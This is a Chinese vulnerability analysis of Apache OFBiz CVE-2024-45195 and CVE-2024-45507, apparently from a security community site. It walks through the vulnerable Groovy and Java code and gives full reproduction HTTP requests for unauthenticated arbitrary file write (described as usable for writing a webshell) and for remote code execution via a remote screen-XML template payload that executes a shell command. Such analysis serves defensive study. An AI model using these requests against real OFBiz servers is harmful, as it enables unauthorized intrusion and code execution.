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添加28篇代码审计文章以及免杀、前端加解密、waf bypass相关文章 Bypass WAF （小白食用） CVE-2023-46604 ActiveMQ RCE不出网利用 CVE-2024-41667 OpenAM FreeMarker 模板注入分析 CVE-2024-42913_若依管理系统sql注入黑名单绕过漏洞分析 Craft CMS远程代码执行漏洞 DumpLsass免杀 Hikvision综合安防管理平台isecure center文件读取深度利用 Solon框架注入内存马 Thymeleaf模板注入还能打吗？ ofbiz权限绕过远程执行漏洞(CVE-2024-45195) thinkphp8 通过baseQuery方法的rce thinkphp最新CVE-2024-44902反序列化漏洞 代码审计-苹果CMS8（maccms8）无回显SSRF的奇妙审计之旅（条件竞争文件读取+SQL注入+文件上传getshell） 保姆级教程---前端加密的对抗（附带靶场） 如何对安全设备进行代码审计 如何绕过Golang木马的HTTPS证书验证 宝蓝德中间件反序列化链曲折调试 微信API接口调用凭证_Access token泄露 执法视音频综合管理平台未授权RCE漏洞分析 探秘argv[0]：程序参数中的安全隐忧 方正畅享新闻采编系统 binary.do SQL注入漏洞分析复现 浅析Apache Ofbiz CVE-2024-45195 & CVE-2024-45507 蓝凌EKP V16老版本 bypass dataxml.jsp Auth 记一次使用 Xposed RPC 和 BurpGuard 应对金融APP参数签名及加密的详细过程 记一次基于Union的sqlmap自定义payload 记一次实战中对fastjson waf的绕过 金和OA SignUpload SQL注入分析
2024-09-16 19:42:15 -07:00
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<title>浅析Apache Ofbiz CVE-2024-45195 &amp; CVE-2024-45507</title>
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<p><span class=content-title>浅析Apache Ofbiz CVE-2024-45195 &amp; CVE-2024-45507</span>
</p>
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<a href=https://xz.aliyun.com/u/29956>
<span class="username cell"> co_w****</span></a> <span class=i-seprator> / </span>
<span> 2024-09-09 11:03:00</span><span class=i-seprator> / </span>
<span>发表于湖北 / </span>
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<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
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<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
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<div id=topic_content class="topic-content markdown-body">
<h1 id=toc-0>浅析Apache Ofbiz CVE-2024-45195 &amp; CVE-2024-45507</h1>
<p>漏洞通告链接：</p>
<ul>
<li><a href=https://nvd.nist.gov/vuln/detail/CVE-2024-45195 target=_blank>https://nvd.nist.gov/vuln/detail/CVE-2024-45195</a></li>
<li><a href=https://nvd.nist.gov/vuln/detail/CVE-2024-45507 target=_blank>https://nvd.nist.gov/vuln/detail/CVE-2024-45507</a></li>
</ul>
<h2 id=toc-1>CVE-2024-45195</h2>
<p>这个漏洞和之前的CVE-2024-38856原理是一样的，可以在unauth controller后面跟一个视图来覆盖，之前CVE-2024-38856的修复是直接将<code>ProgramExport</code>加了个权限，<code>CVE-2024-45195</code>是重新找了个<code>screen</code>来写文件，具体的<code>screen</code>对应的<code>groovy</code>文件为ViewDataFile.groovy如下：</p>
<div class=highlight><pre><span></span><span class=kn>import</span> <span class=nn>java.util.*</span>
<span class=kn>import</span> <span class=nn>java.net.*</span>
<span class=kn>import</span> <span class=nn>org.apache.ofbiz.security.*</span>
<span class=kn>import</span> <span class=nn>org.apache.ofbiz.base.util.*</span>
<span class=kn>import</span> <span class=nn>org.apache.ofbiz.datafile.*</span>
<span class=n>uiLabelMap</span> <span class=o>=</span> <span class=n>UtilProperties</span><span class=o>.</span><span class=na>getResourceBundleMap</span><span class=o>(</span><span class=s>"WebtoolsUiLabels"</span><span class=o>,</span> <span class=n>locale</span><span class=o>)</span>
<span class=n>messages</span> <span class=o>=</span> <span class=o>[]</span>
<span class=n>dataFileSave</span> <span class=o>=</span> <span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"DATAFILE_SAVE"</span><span class=o>)</span>
<span class=n>entityXmlFileSave</span> <span class=o>=</span> <span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"ENTITYXML_FILE_SAVE"</span><span class=o>)</span>
<span class=n>dataFileLoc</span> <span class=o>=</span> <span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"DATAFILE_LOCATION"</span><span class=o>)</span>
<span class=n>definitionLoc</span> <span class=o>=</span> <span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"DEFINITION_LOCATION"</span><span class=o>)</span>
<span class=n>definitionName</span> <span class=o>=</span> <span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"DEFINITION_NAME"</span><span class=o>)</span>
<span class=n>dataFileIsUrl</span> <span class=o>=</span> <span class=kc>null</span> <span class=o>!=</span> <span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"DATAFILE_IS_URL"</span><span class=o>)</span>
<span class=n>definitionIsUrl</span> <span class=o>=</span> <span class=kc>null</span> <span class=o>!=</span> <span class=n>request</span><span class=o>.</span><span class=na>getParameter</span><span class=o>(</span><span class=s>"DEFINITION_IS_URL"</span><span class=o>)</span>
<span class=k>try</span> <span class=o>{</span>
<span class=n>dataFileUrl</span> <span class=o>=</span> <span class=n>dataFileIsUrl</span><span class=o>?</span><span class=k>new</span> <span class=n>URL</span><span class=o>(</span><span class=n>dataFileLoc</span><span class=o>):</span><span class=n>UtilURL</span><span class=o>.</span><span class=na>fromFilename</span><span class=o>(</span><span class=n>dataFileLoc</span><span class=o>)</span>
<span class=o>}</span>
<span class=k>catch</span> <span class=o>(</span><span class=n>java</span><span class=o>.</span><span class=na>net</span><span class=o>.</span><span class=na>MalformedURLException</span> <span class=n>e</span><span class=o>)</span> <span class=o>{</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>e</span><span class=o>.</span><span class=na>getMessage</span><span class=o>())</span>
<span class=o>}</span>
<span class=k>try</span> <span class=o>{</span>
<span class=n>definitionUrl</span> <span class=o>=</span> <span class=n>definitionIsUrl</span><span class=o>?</span><span class=k>new</span> <span class=n>URL</span><span class=o>(</span><span class=n>definitionLoc</span><span class=o>):</span><span class=n>UtilURL</span><span class=o>.</span><span class=na>fromFilename</span><span class=o>(</span><span class=n>definitionLoc</span><span class=o>)</span>
<span class=o>}</span>
<span class=k>catch</span> <span class=o>(</span><span class=n>java</span><span class=o>.</span><span class=na>net</span><span class=o>.</span><span class=na>MalformedURLException</span> <span class=n>e</span><span class=o>)</span> <span class=o>{</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>e</span><span class=o>.</span><span class=na>getMessage</span><span class=o>())</span>
<span class=o>}</span>
<span class=n>definitionNames</span> <span class=o>=</span> <span class=kc>null</span>
<span class=nf>if</span> <span class=o>(</span><span class=n>definitionUrl</span><span class=o>)</span> <span class=o>{</span>
<span class=k>try</span> <span class=o>{</span>
<span class=n>ModelDataFileReader</span> <span class=n>reader</span> <span class=o>=</span> <span class=n>ModelDataFileReader</span><span class=o>.</span><span class=na>getModelDataFileReader</span><span class=o>(</span><span class=n>definitionUrl</span><span class=o>)</span>
<span class=k>if</span> <span class=o>(</span><span class=n>reader</span><span class=o>)</span> <span class=o>{</span>
<span class=n>definitionNames</span> <span class=o>=</span> <span class=o>((</span><span class=n>Collection</span><span class=o>)</span><span class=n>reader</span><span class=o>.</span><span class=na>getDataFileNames</span><span class=o>()).</span><span class=na>iterator</span><span class=o>()</span>
<span class=n>context</span><span class=o>.</span><span class=na>put</span><span class=o>(</span><span class=s>"definitionNames"</span><span class=o>,</span> <span class=n>definitionNames</span><span class=o>)</span>
<span class=o>}</span>
<span class=o>}</span>
<span class=k>catch</span> <span class=o>(</span><span class=n>Exception</span> <span class=n>e</span><span class=o>)</span> <span class=o>{</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>e</span><span class=o>.</span><span class=na>getMessage</span><span class=o>())</span>
<span class=o>}</span>
<span class=o>}</span>
<span class=n>dataFile</span> <span class=o>=</span> <span class=kc>null</span>
<span class=nf>if</span> <span class=o>(</span><span class=n>dataFileUrl</span> <span class=o>&amp;&amp;</span> <span class=n>definitionUrl</span> <span class=o>&amp;&amp;</span> <span class=n>definitionNames</span><span class=o>)</span> <span class=o>{</span>
<span class=k>try</span> <span class=o>{</span>
<span class=n>dataFile</span> <span class=o>=</span> <span class=n>DataFile</span><span class=o>.</span><span class=na>readFile</span><span class=o>(</span><span class=n>dataFileUrl</span><span class=o>,</span> <span class=n>definitionUrl</span><span class=o>,</span> <span class=n>definitionName</span><span class=o>)</span>
<span class=n>context</span><span class=o>.</span><span class=na>put</span><span class=o>(</span><span class=s>"dataFile"</span><span class=o>,</span> <span class=n>dataFile</span><span class=o>)</span>
<span class=o>}</span>
<span class=k>catch</span> <span class=o>(</span><span class=n>Exception</span> <span class=n>e</span><span class=o>)</span> <span class=o>{</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>e</span><span class=o>.</span><span class=na>toString</span><span class=o>());</span> <span class=n>Debug</span><span class=o>.</span><span class=na>log</span><span class=o>(</span><span class=n>e</span><span class=o>)</span>
<span class=o>}</span>
<span class=o>}</span>
<span class=k>if</span> <span class=o>(</span><span class=n>dataFile</span><span class=o>)</span> <span class=o>{</span>
<span class=n>modelDataFile</span> <span class=o>=</span> <span class=n>dataFile</span><span class=o>.</span><span class=na>getModelDataFile</span><span class=o>()</span>
<span class=n>context</span><span class=o>.</span><span class=na>put</span><span class=o>(</span><span class=s>"modelDataFile"</span><span class=o>,</span> <span class=n>modelDataFile</span><span class=o>)</span>
<span class=o>}</span>
<span class=k>if</span> <span class=o>(</span><span class=n>dataFile</span> <span class=o>&amp;&amp;</span> <span class=n>dataFileSave</span><span class=o>)</span> <span class=o>{</span>
<span class=k>try</span> <span class=o>{</span>
<span class=n>dataFile</span><span class=o>.</span><span class=na>writeDataFile</span><span class=o>(</span><span class=n>dataFileSave</span><span class=o>)</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>uiLabelMap</span><span class=o>.</span><span class=na>WebtoolsDataFileSavedTo</span> <span class=o>+</span> <span class=n>dataFileSave</span><span class=o>)</span>
<span class=o>}</span>
<span class=k>catch</span> <span class=o>(</span><span class=n>Exception</span> <span class=n>e</span><span class=o>)</span> <span class=o>{</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>e</span><span class=o>.</span><span class=na>getMessage</span><span class=o>())</span>
<span class=o>}</span>
<span class=o>}</span>
<span class=k>if</span> <span class=o>(</span><span class=n>dataFile</span> <span class=o>&amp;&amp;</span> <span class=n>entityXmlFileSave</span><span class=o>)</span> <span class=o>{</span>
<span class=k>try</span> <span class=o>{</span>
<span class=c1>//dataFile.writeDataFile(entityXmlFileSave)</span>
<span class=n>DataFile2EntityXml</span><span class=o>.</span><span class=na>writeToEntityXml</span><span class=o>(</span><span class=n>entityXmlFileSave</span><span class=o>,</span> <span class=n>dataFile</span><span class=o>)</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>uiLabelMap</span><span class=o>.</span><span class=na>WebtoolsDataEntityFileSavedTo</span> <span class=o>+</span> <span class=n>entityXmlFileSave</span><span class=o>)</span>
<span class=o>}</span>
<span class=k>catch</span> <span class=o>(</span><span class=n>Exception</span> <span class=n>e</span><span class=o>)</span> <span class=o>{</span>
<span class=n>messages</span><span class=o>.</span><span class=na>add</span><span class=o>(</span><span class=n>e</span><span class=o>.</span><span class=na>getMessage</span><span class=o>())</span>
<span class=o>}</span>
<span class=o>}</span>
<span class=n>context</span><span class=o>.</span><span class=na>messages</span> <span class=o>=</span> <span class=n>messages</span>
</pre></div>
<p>代码很简单，两次远程url加载文件，然后可随意保存到指定位置写Webshell，复现如下：</p>
<div class=highlight><pre><span></span><span class=nf>POST</span> <span class=nn>/webtools/control/forgotPassword/viewdatafile</span> <span class=kr>HTTP</span><span class=o>/</span><span class=m>1.1</span>
<span class=na>Host</span><span class=o>:</span><span class=l> </span>
<span class=na>Cookie</span><span class=o>:</span> <span class=l>JSESSIONID=842FA87866E065DFD2FC7B92C84E48B8.jvm1; OFBiz.Visitor=10000</span>
<span class=na>Cache-Control</span><span class=o>:</span> <span class=l>max-age=0</span>
<span class=na>Sec-Ch-Ua</span><span class=o>:</span> <span class=l>"Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"</span>
<span class=na>Sec-Ch-Ua-Mobile</span><span class=o>:</span> <span class=l>?0</span>
<span class=na>Sec-Ch-Ua-Platform</span><span class=o>:</span> <span class=l>"macOS"</span>
<span class=na>Upgrade-Insecure-Requests</span><span class=o>:</span> <span class=l>1</span>
<span class=na>User-Agent</span><span class=o>:</span> <span class=l>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36</span>
<span class=na>Accept</span><span class=o>:</span> <span class=l>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span>
<span class=na>Sec-Fetch-Site</span><span class=o>:</span> <span class=l>none</span>
<span class=na>Sec-Fetch-Mode</span><span class=o>:</span> <span class=l>navigate</span>
<span class=na>Sec-Fetch-User</span><span class=o>:</span> <span class=l>?1</span>
<span class=na>Sec-Fetch-Dest</span><span class=o>:</span> <span class=l>document</span>
<span class=na>Accept-Encoding</span><span class=o>:</span> <span class=l>gzip, deflate, br</span>
<span class=na>Accept-Language</span><span class=o>:</span> <span class=l>zh-CN,zh;q=0.9</span>
<span class=na>Priority</span><span class=o>:</span> <span class=l>u=0, i</span>
<span class=na>Connection</span><span class=o>:</span> <span class=l>keep-alive</span>
<span class=na>Content-Type</span><span class=o>:</span> <span class=l>application/x-www-form-urlencoded</span>
<span class=na>Content-Length</span><span class=o>:</span> <span class=l>187</span>
DATAFILE_LOCATION=http://127.0.0.1:8081/1.xml&amp;DEFINITION_IS_URL=1&amp;DATAFILE_IS_URL=1&amp;DEFINITION_LOCATION=http://127.0.0.1:8081/2.xml&amp;DATAFILE_SAVE=/tmp/2.txt&amp;DEFINITION_NAME=TaxwareOutHead
</pre></div>
<p>2.xml文件内容：</p>
<div class=highlight><pre><span></span><span class=cp>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class=nt>&lt;data-files</span> <span class=na>xmlns:xsi=</span><span class=s>"http://www.w3.org/2001/XMLSchema-instance"</span>
<span class=na>xsi:noNamespaceSchemaLocation=</span><span class=s>"https://ofbiz.apache.org/dtds/datafiles.xsd"</span><span class=nt>&gt;</span>
<span class=nt>&lt;data-file</span> <span class=na>name=</span><span class=s>"TaxwareOutHead"</span> <span class=na>type-code=</span><span class=s>"001"</span> <span class=na>record-length=</span><span class=s>"21"</span> <span class=na>separator-style=</span><span class=s>"fixed-record"</span> <span class=na>start-line=</span><span class=s>"0"</span><span class=nt>&gt;</span>
<span class=nt>&lt;record</span> <span class=na>name=</span><span class=s>"outHead"</span><span class=nt>&gt;</span>
<span class=nt>&lt;field</span> <span class=na>name=</span><span class=s>"COMPRESSION_INDICATOR"</span> <span class=na>position=</span><span class=s>"1"</span> <span class=na>length=</span><span class=s>"20"</span> <span class=na>type=</span><span class=s>"String"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;/record&gt;</span>
<span class=nt>&lt;/data-file&gt;</span>
<span class=nt>&lt;/data-files&gt;</span>
</pre></div>
<p>1.xml文件内容：</p>
<pre><code>123456789012345678901</code></pre>
<p>（这里需要注意下2.xml和1.xml对应的record-length和length）上面将<code>23456789012345678901</code>内容写入到<code>/tmp/2.txt</code>文件中。</p>
<p>在最新版的Ofbiz中（18.12.16）版本引入了视图权限校验，具体issue如下：<a href=https://github.com/apache/ofbiz-framework/commit/ab78769c2d7f22bd2ca8cc77b6be4f71d8bba24f target=_blank>https://github.com/apache/ofbiz-framework/commit/ab78769c2d7f22bd2ca8cc77b6be4f71d8bba24f</a></p>
<p>其实这个修复issus在上个版本，也就是修复CVE-2024-38856的时候提过，不过看样子是官方觉得麻烦，就直接给ProgramExport screen加了权限，包括下面的CVE-2024-45507漏洞，也有一部分利用了这个screen覆盖功能。</p>
<h2 id=toc-2>CVE-2024-45507</h2>
<p>漏洞的修复issue在：<a href=https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3 target=_blank>https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3</a></p>
<p>允许了远程加载文件来渲染screen，比如如下这个<code>screen</code>:</p>
<div class=highlight><pre><span></span><span class=nt>&lt;screen</span> <span class=na>name=</span><span class=s>"StatsSinceStart"</span><span class=nt>&gt;</span>
<span class=nt>&lt;section&gt;</span>
<span class=nt>&lt;actions&gt;</span>
<span class=nt>&lt;set</span> <span class=na>field=</span><span class=s>"titleProperty"</span> <span class=na>value=</span><span class=s>"WebtoolsStatsMainPageTitle"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;set</span> <span class=na>field=</span><span class=s>"tabButtonItem"</span> <span class=na>value=</span><span class=s>"stats"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;script</span> <span class=na>location=</span><span class=s>"component://webtools/groovyScripts/stats/StatsSinceStart.groovy"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;/actions&gt;</span>
<span class=nt>&lt;widgets&gt;</span>
<span class=nt>&lt;decorator-screen</span> <span class=na>name=</span><span class=s>"StatsDecorator"</span> <span class=na>location=</span><span class=s>"${parameters.statsDecoratorLocation}"</span><span class=nt>&gt;</span>
<span class=nt>&lt;decorator-section</span> <span class=na>name=</span><span class=s>"body"</span><span class=nt>&gt;</span>
<span class=nt>&lt;section&gt;</span>
<span class=nt>&lt;widgets&gt;</span>
<span class=nt>&lt;container</span> <span class=na>style=</span><span class=s>"page-title"</span><span class=nt>&gt;</span>
<span class=nt>&lt;label</span> <span class=na>text=</span><span class=s>"${uiLabelMap[titleProperty]}"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;/container&gt;</span>
<span class=nt>&lt;include-menu</span> <span class=na>name=</span><span class=s>"StatsSinceStart"</span> <span class=na>location=</span><span class=s>"component://webtools/widget/Menus.xml"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;label&gt;</span>${uiLabelMap.WebtoolsStatsCurrentTime} ${nowTimestamp}<span class=nt>&lt;/label&gt;</span>
<span class=nt>&lt;screenlet</span> <span class=na>title=</span><span class=s>"${uiLabelMap.WebtoolsStatsRequestStats}"</span> <span class=na>padded=</span><span class=s>"false"</span><span class=nt>&gt;</span>
<span class=nt>&lt;include-grid</span> <span class=na>name=</span><span class=s>"ListRequestStats"</span> <span class=na>location=</span><span class=s>"component://webtools/widget/StatsForms.xml"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;/screenlet&gt;</span>
<span class=nt>&lt;screenlet</span> <span class=na>title=</span><span class=s>"${uiLabelMap.WebtoolsStatsEventStats}"</span> <span class=na>padded=</span><span class=s>"false"</span><span class=nt>&gt;</span>
<span class=nt>&lt;include-grid</span> <span class=na>name=</span><span class=s>"ListEventStats"</span> <span class=na>location=</span><span class=s>"component://webtools/widget/StatsForms.xml"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;/screenlet&gt;</span>
<span class=nt>&lt;screenlet</span> <span class=na>title=</span><span class=s>"${uiLabelMap.WebtoolsStatsViewStats}"</span> <span class=na>padded=</span><span class=s>"false"</span><span class=nt>&gt;</span>
<span class=nt>&lt;include-grid</span> <span class=na>name=</span><span class=s>"ListViewStats"</span> <span class=na>location=</span><span class=s>"component://webtools/widget/StatsForms.xml"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;/screenlet&gt;</span>
<span class=nt>&lt;/widgets&gt;</span>
<span class=nt>&lt;/section&gt;</span>
<span class=nt>&lt;/decorator-section&gt;</span>
<span class=nt>&lt;/decorator-screen&gt;</span>
<span class=nt>&lt;/widgets&gt;</span>
<span class=nt>&lt;/section&gt;</span>
<span class=nt>&lt;/screen&gt;</span>
</pre></div>
<p>xml文件配置中有一段<code>&lt;decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}"&gt;</code>，这里就是一个二次模板注入的问题，当程序加载到这个xml文件时候，会对上面这一段再次渲染一次，对应的代码如下：</p>
<div class=highlight><pre><span></span><span class=kd>public</span> <span class=kt>void</span> <span class=nf>renderWidgetString</span><span class=o>(</span><span class=n>Appendable</span> <span class=n>writer</span><span class=o>,</span> <span class=n>Map</span><span class=o>&lt;</span><span class=n>String</span><span class=o>,</span> <span class=n>Object</span><span class=o>&gt;</span> <span class=n>context</span><span class=o>,</span> <span class=n>ScreenStringRenderer</span> <span class=n>screenStringRenderer</span><span class=o>)</span> <span class=kd>throws</span> <span class=n>GeneralException</span><span class=o>,</span> <span class=n>IOException</span> <span class=o>{</span>
<span class=kt>boolean</span> <span class=n>condTrue</span> <span class=o>=</span> <span class=kc>true</span><span class=o>;</span>
<span class=k>if</span> <span class=o>(</span><span class=k>this</span><span class=o>.</span><span class=na>condition</span> <span class=o>!=</span> <span class=kc>null</span><span class=o>)</span> <span class=o>{</span>
<span class=k>if</span> <span class=o>(!</span><span class=k>this</span><span class=o>.</span><span class=na>condition</span><span class=o>.</span><span class=na>eval</span><span class=o>(</span><span class=n>context</span><span class=o>))</span> <span class=o>{</span>
<span class=n>condTrue</span> <span class=o>=</span> <span class=kc>false</span><span class=o>;</span>
<span class=o>}</span>
<span class=o>}</span>
<span class=k>if</span> <span class=o>(</span><span class=n>condTrue</span><span class=o>)</span> <span class=o>{</span>
<span class=n>AbstractModelAction</span><span class=o>.</span><span class=na>runSubActions</span><span class=o>(</span><span class=k>this</span><span class=o>.</span><span class=na>actions</span><span class=o>,</span> <span class=n>context</span><span class=o>);</span>
<span class=k>try</span> <span class=o>{</span>
<span class=n>screenStringRenderer</span><span class=o>.</span><span class=na>renderSectionBegin</span><span class=o>(</span><span class=n>writer</span><span class=o>,</span> <span class=n>context</span><span class=o>,</span> <span class=k>this</span><span class=o>);</span>
<span class=n>renderSubWidgetsString</span><span class=o>(</span><span class=k>this</span><span class=o>.</span><span class=na>subWidgets</span><span class=o>,</span> <span class=n>writer</span><span class=o>,</span> <span class=n>context</span><span class=o>,</span> <span class=n>screenStringRenderer</span><span class=o>);</span>
</pre></div>
<p>其实全局搜索一下系统的<code>&lt;decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}</code>类似结构，可以观察到绝大多数都是<code>&lt;decorator-screen name="main-decorator" location="${parameters.mainDecoratorLocation}"&gt;</code>，也就是<code>mainDecoratorLocation</code>这个参数，但这个参数利用不了，可以简单看一下context中<code>parameters</code>参数赋值的逻辑：</p>
<div class=highlight><pre><span></span><span class=kd>public</span> <span class=kd>static</span> <span class=n>Map</span><span class=o>&lt;</span><span class=n>String</span><span class=o>,</span> <span class=n>Object</span><span class=o>&gt;</span> <span class=nf>getCombinedMap</span><span class=o>(</span><span class=n>HttpServletRequest</span> <span class=n>request</span><span class=o>,</span> <span class=n>Set</span><span class=o>&lt;?</span> <span class=kd>extends</span> <span class=n>String</span><span class=o>&gt;</span> <span class=n>namesToSkip</span><span class=o>)</span> <span class=o>{</span>
<span class=n>Map</span><span class=o>&lt;</span><span class=n>String</span><span class=o>,</span> <span class=n>Object</span><span class=o>&gt;</span> <span class=n>combinedMap</span> <span class=o>=</span> <span class=k>new</span> <span class=n>HashMap</span><span class=o>&lt;&gt;();</span>
<span class=n>combinedMap</span><span class=o>.</span><span class=na>putAll</span><span class=o>(</span><span class=n>getParameterMap</span><span class=o>(</span><span class=n>request</span><span class=o>));</span> <span class=c1>// parameters override nothing</span>
<span class=n>combinedMap</span><span class=o>.</span><span class=na>putAll</span><span class=o>(</span><span class=n>getServletContextMap</span><span class=o>(</span><span class=n>request</span><span class=o>,</span> <span class=n>namesToSkip</span><span class=o>));</span> <span class=c1>// bottom level application attributes</span>
<span class=n>combinedMap</span><span class=o>.</span><span class=na>putAll</span><span class=o>(</span><span class=n>getSessionMap</span><span class=o>(</span><span class=n>request</span><span class=o>,</span> <span class=n>namesToSkip</span><span class=o>));</span> <span class=c1>// session overrides application</span>
<span class=n>combinedMap</span><span class=o>.</span><span class=na>putAll</span><span class=o>(</span><span class=n>getAttributeMap</span><span class=o>(</span><span class=n>request</span><span class=o>));</span> <span class=c1>// attributes trump them all</span>
<span class=k>return</span> <span class=n>combinedMap</span><span class=o>;</span>
<span class=o>}</span>
</pre></div>
<p>由于<code>mainDecoratorLocation</code>在<code>web.xml</code>中定义了，所以在执行到第二个语句，也就是<code>combinedMap.putAll(getServletContextMap(request, namesToSkip));</code>的时候，会将请求参数中的<code>mainDecoratorLocation</code>给覆盖成默认值，因此不可控。</p>
<p>最后复现如下：</p>
<pre><code>POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host:
Cookie: JSESSIONID=64FB07C6F3A047C4B6760B23070A03C0.jvm1; OFBiz.Visitor=10000
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
statsDecoratorLocation=http://127.0.0.1:8081/payload.xml</code></pre>
<p><code>payload.xml</code>文件内容为：</p>
<div class=highlight><pre><span></span><span class=cp>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class=nt>&lt;screens</span> <span class=na>xmlns:xsi=</span><span class=s>"http://www.w3.org/2001/XMLSchema-instance"</span>
<span class=na>xmlns=</span><span class=s>"http://ofbiz.apache.org/Widget-Screen"</span> <span class=na>xsi:schemaLocation=</span><span class=s>"http://ofbiz.apache.org/Widget-Screen"</span> <span class=err>http://ofbiz.apache.org/dtds/widget-screen.xsd"</span><span class=nt>&gt;</span>
<span class=nt>&lt;screen</span> <span class=na>name=</span><span class=s>"StatsDecorator"</span><span class=nt>&gt;</span>
<span class=nt>&lt;section&gt;</span>
<span class=nt>&lt;actions&gt;</span>
<span class=nt>&lt;set</span> <span class=na>field=</span><span class=s>"headerItem"</span> <span class=na>value=</span><span class=s>"${groovy:throw new Exception('open -a Calculator'.execute().text);}"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;entity-one</span> <span class=na>entity-name=</span><span class=s>"FinAccount"</span> <span class=na>value-field=</span><span class=s>"finAccount"</span><span class=nt>/&gt;</span>
<span class=nt>&lt;/actions&gt;</span>
<span class=nt>&lt;/section&gt;</span>
<span class=nt>&lt;/screen&gt;</span>
<span class=nt>&lt;/screens&gt;</span>
</pre></div>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240909110145-d937bc8a-6e57-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABjcAAAN+CAYAAABZ0Vk8AAAKn2lDQ1BJQ0MgUHJvZmlsZQAAeJyVlgdUU9kWhs+96SGhJSCd0Jv0FkBK6KH3JiohCSGUEBOCil0ZHIERRUQElBEdiig4FkDGigULotj7BBkE1HGwYEPlXWARnHnrvbfezrrZX3b22Wefs8656weAjGYJhVmwIgDZglxRVIA3LSExiYYbBoSpjwGQZ7HFQkZERAhAbMb/3d7fAdCkv2k5Wevf//+vpsThitkAQBEIp3LE7GyEjyDPE7ZQlAsAqhyJGyzJFU5yB8JUEdIgwj2TzJtm6SSnTvO7qZyYKB8A0HgA8CQWS8QDgERF4rQ8Ng+pQ3JA2EbA4QsQ5iDskZ2dg3jSXoRNkRwhwpP16anf1eH9rWaqrCaLxZPx9FqmDO/LFwuzWMv+z+3435adJZmZwxh5SOmiwCjEY5E9u5eZEyxjQWpY+AzzOVP5U5wuCYydYbbYJ2mGOSzfYNnYrLCQGU7j+zNldXKZMTPMFftFz7AoJ0o2V5rIhzHDLNHsvJLMWFk8ncuU1c9Pj4mf4Tx+XNgMizOjg2dzfGRxkSRK1j9XEOA9O6+/bO3Z4u/Wy2fKxuamxwTK1s6a7Z8rYMzWFCfIeuNwff1mc2Jl+cJcb9lcwqwIWT43K0AWF+dFy8bmIgdydmyEbA8zWEERMwwCQQRATlgud2nuZPM+OcJlIj4vPZfGQG4Vl8YUsK3m0uxs7JDTO3lHp4/A23tTdw9Sxc/GcpCaznwE6mdjrPUAtKMBUMHOxoxRyPXbCsCJtWyJKG86hp78wgAiUABUoA50kDeAKbAEdsAJuAEv4AeCQDiIAYlgIWCDdJANRGAJWAHWgkJQDDaDbaAK1II9oBEcAIdAOzgOzoAL4Aq4Dm6Dh0AKBsELMAreg3EIgnAQGaJA6pAuZARZQHYQHfKA/KAQKApKhFIgHiSAJNAKaD1UDJVBVdBuqAn6FToGnYEuQX3QfagfGoHeQJ9hFEyCqbA2bAxbw3SYAQfDMfACmAcvhvPhAngTXAnXwfvhNvgMfAW+DUvhF/AYCqDkUKooPZQlio7yQYWjklBpKBFqFaoIVYGqQ7WgOlHdqJsoKeol6hMai6agaWhLtBs6EB2LZqMXo1ehS9BV6EZ0G/oc+ia6Hz2K/oYhY7QwFhhXDBOTgOFhlmAKMRWYesxRzHnMbcwg5j0Wi1XFmmCdsYHYRGwGdjm2BLsT24o9je3DDmDHcDicOs4C